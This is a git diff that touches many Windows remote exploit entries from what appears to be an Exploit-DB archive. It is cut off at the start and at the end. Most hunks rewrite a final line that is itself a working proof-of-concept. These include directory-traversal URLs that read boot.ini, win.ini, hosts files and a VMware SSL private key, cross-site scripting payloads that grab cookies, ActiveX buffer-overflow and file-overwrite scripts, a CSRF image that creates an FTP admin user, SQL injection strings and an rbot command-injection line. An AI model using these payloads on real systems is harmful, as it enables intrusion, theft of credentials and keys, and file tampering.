b/platforms/windows/remote/32879.html @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=[XSS] http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&User=[XSS] -http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=&User=&Password=[XSS] \ No newline at end of file +http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=&User=&Password=[XSS] \ No newline at end of file diff --git a/platforms/windows/remote/32957.txt b/platforms/windows/remote/32957.txt index d0827cebb..c922941b0 100755 --- a/platforms/windows/remote/32957.txt +++ b/platforms/windows/remote/32957.txt @@ -9,4 +9,4 @@ DWebPro 6.8.26 is vulnerable; other versions may also be affected. http://www.example.com:8080/..%5C/www/..%5C/www/..%5C/..%5C/..%5C/WINDOWS/ http://www.example.com:8080/..%2f..%2f..%2fWINDOWS%2f http://www.example.com:8080/..\/www/500-100-js.asp::$DATA -http://www.example.com:8080/demos/aspclassic/asp_registry.asp::$DATA \ No newline at end of file +http://www.example.com:8080/demos/aspclassic/asp_registry.asp::$DATA \ No newline at end of file diff --git a/platforms/windows/remote/33025.txt b/platforms/windows/remote/33025.txt index a7c703e14..64a8776ab 100755 --- a/platforms/windows/remote/33025.txt +++ b/platforms/windows/remote/33025.txt @@ -8,4 +8,4 @@ LogMeIn 4.0.784 is vulnerable; other versions may also be affected. The following example URI is available: http://securethoughts.com/2009/06/multiple-vulnerabilities-in-logmein-web-interface-can-be-used-to-control-your-computer-and-steal-arbitary-files/#viewSource -http://www.example.com/cfgadvanced.html?op=update&DisconnectExisting=1&NoHttpCompr=1&CrashDumpInfo=0&lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21-- \ No newline at end of file +http://www.example.com/cfgadvanced.html?op=update&DisconnectExisting=1&NoHttpCompr=1&CrashDumpInfo=0&lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21-- \ No newline at end of file diff --git a/platforms/windows/remote/33035.txt b/platforms/windows/remote/33035.txt index e970c87d5..001b763d4 100755 --- a/platforms/windows/remote/33035.txt +++ b/platforms/windows/remote/33035.txt @@ -13,4 +13,4 @@ An attacker can exploit these vulnerabilities to obtain information that may aid The following command may be used to discover hosts: -file://\\<IP>\c$\a.mp3 \ No newline at end of file +file://\\<IP>\c$\a.mp3 \ No newline at end of file diff --git a/platforms/windows/remote/33050.html b/platforms/windows/remote/33050.html index af4850714..021ced477 100755 --- a/platforms/windows/remote/33050.html +++ b/platforms/windows/remote/33050.html @@ -4,4 +4,4 @@ Microsoft Internet Explorer is prone to a security-bypass vulnerability because An attacker may exploit this issue to bypass restrictions on the execution of JavaScript code. This may aid in further attacks. -<STYLE>@import 'javascript:alert("xss1")';</STYLE> <IMG SRC=javascript:alert('XSS2')> <BODY BACKGROUND="javascript:alert('XSS3')"> <LINK REL="stylesheet" HREF="javascript:alert('XSS4');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS5');"> <IFRAME SRC="javascript:alert('XSS6');"></IFRAME> <DIV STYLE="background-image: url(javascript:alert('XSS7'))"> <STYLE>.XSS{background-image:url("javascript:alert('XSS8')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS9')")}</STYLE> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS10')></OBJECT> <STYLE>@import'http://example.com/xss.css';</STYLE> <script SRC="javascript:alert('xss11');"></script> <video SRC="javascript:alert('xss12');"</video> <LAYER SRC="javascript:alert('xss13')"></LAYER> <embed src="javascript:alert('xss14')" type="application/x-shockwave-flash" allowscriptaccess="always" width="0" height="0"></embed> <applet src="javascript:alert('xss15')" type=text/html> \ No newline at end of file +<STYLE>@import 'javascript:alert("xss1")';</STYLE> <IMG SRC=javascript:alert('XSS2')> <BODY BACKGROUND="javascript:alert('XSS3')"> <LINK REL="stylesheet" HREF="javascript:alert('XSS4');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS5');"> <IFRAME SRC="javascript:alert('XSS6');"></IFRAME> <DIV STYLE="background-image: url(javascript:alert('XSS7'))"> <STYLE>.XSS{background-image:url("javascript:alert('XSS8')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS9')")}</STYLE> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS10')></OBJECT> <STYLE>@import'http://example.com/xss.css';</STYLE> <script SRC="javascript:alert('xss11');"></script> <video SRC="javascript:alert('xss12');"</video> <LAYER SRC="javascript:alert('xss13')"></LAYER> <embed src="javascript:alert('xss14')" type="application/x-shockwave-flash" allowscriptaccess="always" width="0" height="0"></embed> <applet src="javascript:alert('xss15')" type=text/html> \ No newline at end of file diff --git a/platforms/windows/remote/33207.txt b/platforms/windows/remote/33207.txt index 8e049d8c0..5c0260285 100755 --- a/platforms/windows/remote/33207.txt +++ b/platforms/windows/remote/33207.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary code in the context of t SmartVMD 1.3 is vulnerable; other versions may also be affected. -<object classid='clsid:E3462D53-47A6-11D8-8EF6-DAE89272743C' id='test'></object> <input language=VBScript onclick=aidi() type=button value='test'> <script language='vbscript'> Sub aidi buff = String (9000, "a") test.StartVideoSaving (buff) End Sub </script> \ No newline at end of file +<object classid='clsid:E3462D53-47A6-11D8-8EF6-DAE89272743C' id='test'></object> <input language=VBScript onclick=aidi() type=button value='test'> <script language='vbscript'> Sub aidi buff = String (9000, "a") test.StartVideoSaving (buff) End Sub </script> \ No newline at end of file diff --git a/platforms/windows/remote/33326.py b/platforms/windows/remote/33326.py index 96b1fcc06..72803611f 100755 --- a/platforms/windows/remote/33326.py +++ b/platforms/windows/remote/33326.py @@ -6,8 +6,8 @@ # Exploit Title: Easy Chat Server 3.1 stack buffer overflow # Date: 9 May 2014 # Exploit Author: superkojiman - http://www.techorganic.com -# Vendor Homepage: http://www.echatserver/ -# Software Link: http://www.echatserver/ +# Vendor Homepage: http://www.echatserver.com/ +# Software Link: http://www.echatserver.com/ # Version: 3.1 # Tested on: Windows 7 Enterprise SP1, English # diff --git a/platforms/windows/remote/33501.txt b/platforms/windows/remote/33501.txt index 60c67e61f..197739c5a 100755 --- a/platforms/windows/remote/33501.txt +++ b/platforms/windows/remote/33501.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary commands in a terminal. Cherokee 0.99.30 and prior are vulnerable. -curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a \ No newline at end of file +curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a \ No newline at end of file diff --git a/platforms/windows/remote/33642.html b/platforms/windows/remote/33642.html index 2932fb155..606803a24 100755 --- a/platforms/windows/remote/33642.html +++ b/platforms/windows/remote/33642.html @@ -10,4 +10,4 @@ Symantec AntiVirus 10.0.x and 10.1.x prior to 10.1 MR9 Symantec AntiVirus 10.2.x prior to 10.2 MR4 Symantec Client Security 3.0.x and 3.1.x prior to 3.1 MR9 -<html> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:E381F1C0-910E-11D1-AB1E-00A0C90F8F6F' id='target' /> <script language='vbscript'> arg1=String(7188, "A") target.SetRemoteComputerName arg1 </script> </html> \ No newline at end of file +<html> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:E381F1C0-910E-11D1-AB1E-00A0C90F8F6F' id='target' /> <script language='vbscript'> arg1=String(7188, "A") target.SetRemoteComputerName arg1 </script> </html> \ No newline at end of file diff --git a/platforms/windows/remote/33841.txt b/platforms/windows/remote/33841.txt index 315c6dfd7..13b1b852a 100755 --- a/platforms/windows/remote/33841.txt +++ b/platforms/windows/remote/33841.txt @@ -5,4 +5,4 @@ HTTP File Server is prone to multiple vulnerabilities including a security-bypas Exploiting these issues will allow an attacker to download files from restricted directories within the context of the application or cause denial-of-service conditions. http://www.example.com/protected_folder/secret_file.txt%00 -http://www.example.com/?search=%25%25 \ No newline at end of file +http://www.example.com/?search=%25%25 \ No newline at end of file diff --git a/platforms/windows/remote/33852.txt b/platforms/windows/remote/33852.txt index 2e8c32d0b..3b3331563 100755 --- a/platforms/windows/remote/33852.txt +++ b/platforms/windows/remote/33852.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to view arbitrary local files and d HTTP 1.1 is vulnerable; other versions may also be affected. -GET /..\..\\..\..\\..\..\\..\..\\\boot.ini HTTP/1.0 \ No newline at end of file +GET /..\..\\..\..\\..\..\\..\..\\\boot.ini HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/33890.txt b/platforms/windows/remote/33890.txt index 057bba837..83631cc1b 100755 --- a/platforms/windows/remote/33890.txt +++ b/platforms/windows/remote/33890.txt @@ -6,4 +6,4 @@ Exploiting the issue may allow an attacker to obtain sensitive information that OneHTTPD 0.6 is vulnerable; other versions may also be affected. -http://www.example.com/%C2../%C2../%C2../%C2../%C2../%C2../%C2../%C2../ \ No newline at end of file +http://www.example.com/%C2../%C2../%C2../%C2../%C2../%C2../%C2../%C2../ \ No newline at end of file diff --git a/platforms/windows/remote/33935.txt b/platforms/windows/remote/33935.txt index 2520551c3..037d75c44 100755 --- a/platforms/windows/remote/33935.txt +++ b/platforms/windows/remote/33935.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to gain administrative rights to the rbot 0.9.14 is vulnerable; other versions may also be affected. -<attacker> !react to /attacker:.*/ with cmd:whoami \ No newline at end of file +<attacker> !react to /attacker:.*/ with cmd:whoami \ No newline at end of file diff --git a/platforms/windows/remote/33941.html b/platforms/windows/remote/33941.html index e725b559d..b21a61b3b 100755 --- a/platforms/windows/remote/33941.html +++ b/platforms/windows/remote/33941.html @@ -4,4 +4,4 @@ TVUPlayer ActiveX control is prone to a vulnerability that lets attackers overwr TVUPlayer 2.4.9beta1 [build1797] is vulnerable; other versions may be affected. -<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:18E6ED0D-08D1-4ED5-8771-E72B4E6EFFD8' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.133 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Program Files\Online TV Player 4\PlayerOcx.ocx" prototype = "Property Let LangFileName As String" memberName = "LangFileName" progid = "PlayerOcx.FormPlayer" argCount = 1 arg1="C:\WINDOWS\system32\drivers\etc\hosts" target.LangFileName = arg1 </script></job></package> \ No newline at end of file +<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:18E6ED0D-08D1-4ED5-8771-E72B4E6EFFD8' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.133 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Program Files\Online TV Player 4\PlayerOcx.ocx" prototype = "Property Let LangFileName As String" memberName = "LangFileName" progid = "PlayerOcx.FormPlayer" argCount = 1 arg1="C:\WINDOWS\system32\drivers\etc\hosts" target.LangFileName = arg1 </script></job></package> \ No newline at end of file diff --git a/platforms/windows/remote/33974.txt b/platforms/windows/remote/33974.txt index e9391150d..ac32eaad9 100755 --- a/platforms/windows/remote/33974.txt +++ b/platforms/windows/remote/33974.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to view arbitrary local files and d Mereo 1.9.1 is vulnerable; other versions may also be affected. -http://www.example.com/%80../%80../%80../%80../%80../%80../%80../%80../ \ No newline at end of file +http://www.example.com/%80../%80../%80../%80../%80../%80../%80../%80../ \ No newline at end of file diff --git a/platforms/windows/remote/34047.html b/platforms/windows/remote/34047.html index 2382f83e1..35a7cd47a 100755 --- a/platforms/windows/remote/34047.html +++ b/platforms/windows/remote/34047.html @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain administrat Home FTP Server 1.10.3 (build 144) is vulnerable; other versions may be affected. -<html> <body> <img src="http://www.example.com/?addnewmember=new_user&pass=Password1&home=c:\&allowdownload=on&allowupload=on&allowrename=on&allowdeletefile=on&allowchangedir=on&allowcreatedir=on&allowdeletedir=on&virtualdir=&filecontrol=" /> </body> </html> \ No newline at end of file +<html> <body> <img src="http://www.example.com/?addnewmember=new_user&pass=Password1&home=c:\&allowdownload=on&allowupload=on&allowrename=on&allowdeletefile=on&allowchangedir=on&allowcreatedir=on&allowdeletedir=on&virtualdir=&filecontrol=" /> </body> </html> \ No newline at end of file diff --git a/platforms/windows/remote/34230.txt b/platforms/windows/remote/34230.txt index c296d8c31..5d5f11d3f 100755 --- a/platforms/windows/remote/34230.txt +++ b/platforms/windows/remote/34230.txt @@ -8,4 +8,4 @@ Exploiting these issues could allow an attacker to compromise the application, a The following example data are available: user: ' or ' 1=1 -pass: ' or ' 1=1 \ No newline at end of file +pass: ' or ' 1=1 \ No newline at end of file diff --git a/platforms/windows/remote/34517.rb b/platforms/windows/remote/34517.rb index 0b56deaaa..5534b0ffd 100755 --- a/platforms/windows/remote/34517.rb +++ b/platforms/windows/remote/34517.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.wftpserver' ] + [ 'URL', 'http://www.wftpserver.com' ] ], 'Arch' => ARCH_X86, 'Platform' => 'win', @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.") elsif res.code != 200 fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.") - elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver<\/b>/ + elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/ return Exploit::CheckCode::Appears end diff --git a/platforms/windows/remote/34622.txt b/platforms/windows/remote/34622.txt index bcf1d2f58..03377ffca 100755 --- a/platforms/windows/remote/34622.txt +++ b/platforms/windows/remote/34622.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to obtain sensitive information that Axigen Webmail 7.4.1 is vulnerable; other versions may be affected. -http://www.example.com/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini \ No newline at end of file +http://www.example.com/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini \ No newline at end of file diff --git a/platforms/windows/remote/34686.txt b/platforms/windows/remote/34686.txt index 3f4e6a0c4..914428562 100755 --- a/platforms/windows/remote/34686.txt +++ b/platforms/windows/remote/34686.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to read files outside the webroot d Pinky 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini \ No newline at end of file +http://www.example.com/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini \ No newline at end of file diff --git a/platforms/windows/remote/34821.txt b/platforms/windows/remote/34821.txt index 9b9978841..6cdd6254b 100755 --- a/platforms/windows/remote/34821.txt +++ b/platforms/windows/remote/34821.txt @@ -6,4 +6,4 @@ Attackers can overwrite arbitrary files on the victim's computer in the context InstallShield 2009 Premier 15.0.0.53 is vulnerable; other versions may also be affected. -# Part Expl0it & Bug Codes ( Poc ) : ------------------------------------ <b> Installshiled 2009 premier 15.0.0.53 File Overwrite Expl0it <b/> by : the_Edit0r <b/> <b/> <object classid='clsid:34E7A6F9-F260-46BD-AAC8-1E70E22139D2' id='Edit0r'></object> <script> try{ var obj = document.InsertCustomAction('Edit0r'); obj.AddPage(1); obj.SaveToFile("C:/system_.ini"); window.alert('check C:'); } catch(err){ window.alert('Poc failed'); } </script> \ No newline at end of file +# Part Expl0it & Bug Codes ( Poc ) : ------------------------------------ <b> Installshiled 2009 premier 15.0.0.53 File Overwrite Expl0it <b/> by : the_Edit0r <b/> <b/> <object classid='clsid:34E7A6F9-F260-46BD-AAC8-1E70E22139D2' id='Edit0r'></object> <script> try{ var obj = document.InsertCustomAction('Edit0r'); obj.AddPage(1); obj.SaveToFile("C:/system_.ini"); window.alert('check C:'); } catch(err){ window.alert('Poc failed'); } </script> \ No newline at end of file diff --git a/platforms/windows/remote/34846.txt b/platforms/windows/remote/34846.txt index 404a3510f..8c1a6f0ef 100755 --- a/platforms/windows/remote/34846.txt +++ b/platforms/windows/remote/34846.txt @@ -10,4 +10,4 @@ The following example URI are available: http://www.example.com/index.html. http://www.example.com/test.py. -http://www.example.com/test.php. \ No newline at end of file +http://www.example.com/test.php. \ No newline at end of file diff --git a/platforms/windows/remote/34943.txt b/platforms/windows/remote/34943.txt index b08d7562e..61209dd05 100755 --- a/platforms/windows/remote/34943.txt +++ b/platforms/windows/remote/34943.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to read files outside the webroot d Project Jug 1.0.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/.../.../.../.../.../.../.../.../.../.../windows/win.ini \ No newline at end of file +http://www.example.com/.../.../.../.../.../.../.../.../.../.../windows/win.ini \ No newline at end of file diff --git a/platforms/windows/remote/34997.txt b/platforms/windows/remote/34997.txt index 47f34408b..f944c842e 100755 --- a/platforms/windows/remote/34997.txt +++ b/platforms/windows/remote/34997.txt @@ -4,4 +4,4 @@ DServe is prone to multiple cross-site scripting vulnerabilities because it fail An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/DServe/dserve.exe?&amp;amp;dsqIni=Dserve.ini&amp;amp;dsqApp=Archive&amp;amp;dsqCmd=OverSort.tcl&amp;amp;dsqDb=Catalog&amp;amp;dsqField=&lt;script&gt;alert(1)&lt;/script&gt;&amp;amp;dsqSearch=*&amp;amp;dsqNum=10 \ No newline at end of file +http://www.example.com/DServe/dserve.exe?&amp;amp;dsqIni=Dserve.ini&amp;amp;dsqApp=Archive&amp;amp;dsqCmd=OverSort.tcl&amp;amp;dsqDb=Catalog&amp;amp;dsqField=&lt;script&gt;alert(1)&lt;/script&gt;&amp;amp;dsqSearch=*&amp;amp;dsqNum=10 \ No newline at end of file diff --git a/platforms/windows/remote/35001.txt b/platforms/windows/remote/35001.txt index 427ba138c..04ac013d2 100755 --- a/platforms/windows/remote/35001.txt +++ b/platforms/windows/remote/35001.txt @@ -9,4 +9,4 @@ http://www.example.com:50100/OpenSQLMonitors/servlet/ConnectionMonitorServlet?vi =com.sap.sql.jdbc.direct.DirectPooledConnection@1ed00a7<script>alert(document.cookie)</script> http://www.example.com:50100/OpenSQLMonitors/servlet/CatalogBufferMonitorServlet?action=btnSHOW_COLUMNS&reqNode=12924950&reqBufferId= -SAPSERVER:dm0:SAPSR3DB&reqTableColumns=BC_RPROF_PROFILE<script>alert(document.cookie)</script> \ No newline at end of file +SAPSERVER:dm0:SAPSR3DB&reqTableColumns=BC_RPROF_PROFILE<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/windows/remote/35051.txt b/platforms/windows/remote/35051.txt index ccdf8ed91..97fc07b88 100755 --- a/platforms/windows/remote/35051.txt +++ b/platforms/windows/remote/35051.txt @@ -4,4 +4,4 @@ Freefloat FTP Server is prone to a directory-traversal vulnerability because it Exploiting this issue can allow an attacker to retrieve arbitrary files outside of the FTP server root directory. This may aid in further attacks. -GET ../../boot.ini \ No newline at end of file +GET ../../boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/35119.txt b/platforms/windows/remote/35119.txt index e52066e44..8b26a57b5 100755 --- a/platforms/windows/remote/35119.txt +++ b/platforms/windows/remote/35119.txt @@ -11,4 +11,4 @@ U-Mail 9.8 for Windows U-Mail GateWay 9.8 for Windows http://www.example.com/login.wdm%20 -http://www.example.com/login.wdm%2e \ No newline at end of file +http://www.example.com/login.wdm%2e \ No newline at end of file diff --git a/platforms/windows/remote/35280.txt b/platforms/windows/remote/35280.txt index 60c015cd9..639fdc08e 100755 --- a/platforms/windows/remote/35280.txt +++ b/platforms/windows/remote/35280.txt @@ -75,4 +75,4 @@ For this to work the remoting service must be running with full typefilter mode (which is some, especially IPC services). It also only works with the commands ls, put and get. But that should be enough to compromise a box. -I've provided an example service to test against. \ No newline at end of file +I've provided an example service to test against. \ No newline at end of file diff --git a/platforms/windows/remote/35563.pl b/platforms/windows/remote/35563.pl index e37773a08..cd533e8c7 100755 --- a/platforms/windows/remote/35563.pl +++ b/platforms/windows/remote/35563.pl @@ -41,7 +41,7 @@ print(" [!] Usage: " .$0. " <host> <port> <file>\r\n"); print(" [!] HOST - An host using EasyPHP Web Server\r\n"); print(" [!] PORT - Port number\r\n"); print(" [!] FILE - The file you want to get\r\n"); -print(" [!] Example: " .$0. " targetserver 80 index.php\r\n"); +print(" [!] Example: " .$0. " targetserver.com 80 index.php\r\n"); print("=================================================================\r\n\r\n"); sleep(1); exit(1); diff --git a/platforms/windows/remote/35740.txt b/platforms/windows/remote/35740.txt index 0cc0da2b2..bac34963f 100755 --- a/platforms/windows/remote/35740.txt +++ b/platforms/windows/remote/35740.txt @@ -4,4 +4,4 @@ The Microsoft .NET Framework is prone to a remote code-execution vulnerability t Successful exploits may allow an attacker to execute arbitrary code in the context of the browser; this may aid in further attacks. -if ((value == null || value == new string[0]) == false) \ No newline at end of file +if ((value == null || value == new string[0]) == false) \ No newline at end of file diff --git a/platforms/windows/remote/36020.txt b/platforms/windows/remote/36020.txt index 2f25b88c1..000c33bec 100755 --- a/platforms/windows/remote/36020.txt +++ b/platforms/windows/remote/36020.txt @@ -4,4 +4,4 @@ Microsoft Visual Studio is prone to multiple cross-site scripting vulnerability An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to spoof content or disclose sensitive information. -https://www.example.com/Reserved.ReportViewerWebControl.axd?Mode=true&ReportID=%3CarbitraryIDvalue%3E&ControlID=%3CvalidControlID%3E&Culture=1033&UICulture=1033&ReportStack=1&OpType=SessionKeepAlive&TimerMethod=KeepAliveMethodctl00_PlaceHolderMain_SiteTopUsersByHits_ctl00TouchSession0;alert(document.cookie);//&CacheSeed= \ No newline at end of file +https://www.example.com/Reserved.ReportViewerWebControl.axd?Mode=true&ReportID=%3CarbitraryIDvalue%3E&ControlID=%3CvalidControlID%3E&Culture=1033&UICulture=1033&ReportStack=1&OpType=SessionKeepAlive&TimerMethod=KeepAliveMethodctl00_PlaceHolderMain_SiteTopUsersByHits_ctl00TouchSession0;alert(document.cookie);//&CacheSeed= \ No newline at end of file diff --git a/platforms/windows/remote/36049.html b/platforms/windows/remote/36049.html index d3f24c21b..1b1f094a5 100755 --- a/platforms/windows/remote/36049.html +++ b/platforms/windows/remote/36049.html @@ -6,4 +6,4 @@ Attackers can overwrite arbitrary files on the victim's computer in the context StudioLine Photo Basic 3.70.34.0 is vulnerable; other versions may also be affected. -<html> <object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="FilePath\File_name_to_corrupt_or_create" arg2=True target.EnableLog arg1 ,arg2 End Sub </script> </html> \ No newline at end of file +<html> <object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="FilePath\File_name_to_corrupt_or_create" arg2=True target.EnableLog arg1 ,arg2 End Sub </script> </html> \ No newline at end of file diff --git a/platforms/windows/remote/36258.txt b/platforms/windows/remote/36258.txt index bb4598524..f41e8e0d4 100755 --- a/platforms/windows/remote/36258.txt +++ b/platforms/windows/remote/36258.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect XAMPP 1.7.4 for Windows and prior. http://www.example.com/xampp/ming.php?text=[xss] -http://www.example.com/xampp/cds.php/[xss] \ No newline at end of file +http://www.example.com/xampp/cds.php/[xss] \ No newline at end of file diff --git a/platforms/windows/remote/36318.txt b/platforms/windows/remote/36318.txt index e005bfdb0..9776238df 100755 --- a/platforms/windows/remote/36318.txt +++ b/platforms/windows/remote/36318.txt @@ -4,4 +4,4 @@ Jetty Web Server is prone to a directory-traversal vulnerability because it fail Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks. -http://www.example.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key \ No newline at end of file +http://www.example.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key \ No newline at end of file diff --git a/platforms/windows/remote/36319.txt b/platforms/windows/remote/36319.txt index 427feb7c2..1e774aca5 100755 --- a/platforms/windows/remote/36319.txt +++ b/platforms/windows/remote/36319.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br GoAhead WebServer 2.5 is vulnerable; other versions may also be affected. -http://www.example.com/goform/formTest?name=%3Cscript%3Ealert(4321)%3C/script%3E&address=%3Cscript%3Ealert(1234)%3C/script%3E \ No newline at end of file +http://www.example.com/goform/formTest?name=%3Cscript%3Ealert(4321)%3C/script%3E&address=%3Cscript%3Ealert(1234)%3C/script%3E \ No newline at end of file diff --git a/platforms/windows/remote/36500.txt b/platforms/windows/remote/36500.txt index 65d4f04f7..95dfcb84b 100755 --- a/platforms/windows/remote/36500.txt +++ b/platforms/windows/remote/36500.txt @@ -9,4 +9,4 @@ HServer 0.1.1 is vulnerable; other versions may also be affected. http://www.example.com/..%5c..%5c..%5cboot.ini http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini -http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts \ No newline at end of file +http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts \ No newline at end of file diff --git a/platforms/windows/remote/36507.txt b/platforms/windows/remote/36507.txt index bbcc8b7f8..87abab8b1 100755 --- a/platforms/windows/remote/36507.txt +++ b/platforms/windows/remote/36507.txt @@ -8,4 +8,4 @@ Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>"); -string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>") \ No newline at end of file +string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>") \ No newline at end of file diff --git a/platforms/windows/remote/36513.txt b/platforms/windows/remote/36513.txt index 1e7779710..a6946b6b8 100755 --- a/platforms/windows/remote/36513.txt +++ b/platforms/windows/remote/36513.txt @@ -9,4 +9,4 @@ IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affe http://www.example.com/..\..\boot.ini http://www.example.com/../../boot.ini http://www.example.com/..\..\windows\system32\drivers\etc\hosts -http://www.example.com/../../windows/system32/drivers/etc/hosts \ No newline at end of file +http://www.example.com/../../windows/system32/drivers/etc/hosts \ No newline at end of file diff --git a/platforms/windows/remote/36915.txt b/platforms/windows/remote/36915.txt index 483c993a7..bee6e869a 100755 --- a/platforms/windows/remote/36915.txt +++ b/platforms/windows/remote/36915.txt @@ -7,4 +7,4 @@ Exploiting the issues can allow an attacker to obtain sensitive information that NetDecision 4.6.1 is vulnerable; other versions may also be affected. http://www.example.com:8087/...\...\...\...\...\...\windows\system.ini -http://www.example.com:8090/.../.../.../.../.../.../windows/system.ini \ No newline at end of file +http://www.example.com:8090/.../.../.../.../.../.../windows/system.ini \ No newline at end of file diff --git a/platforms/windows/remote/37396.txt b/platforms/windows/remote/37396.txt index b54417189..d2f059cbd 100755 --- a/platforms/windows/remote/37396.txt +++ b/platforms/windows/remote/37396.txt @@ 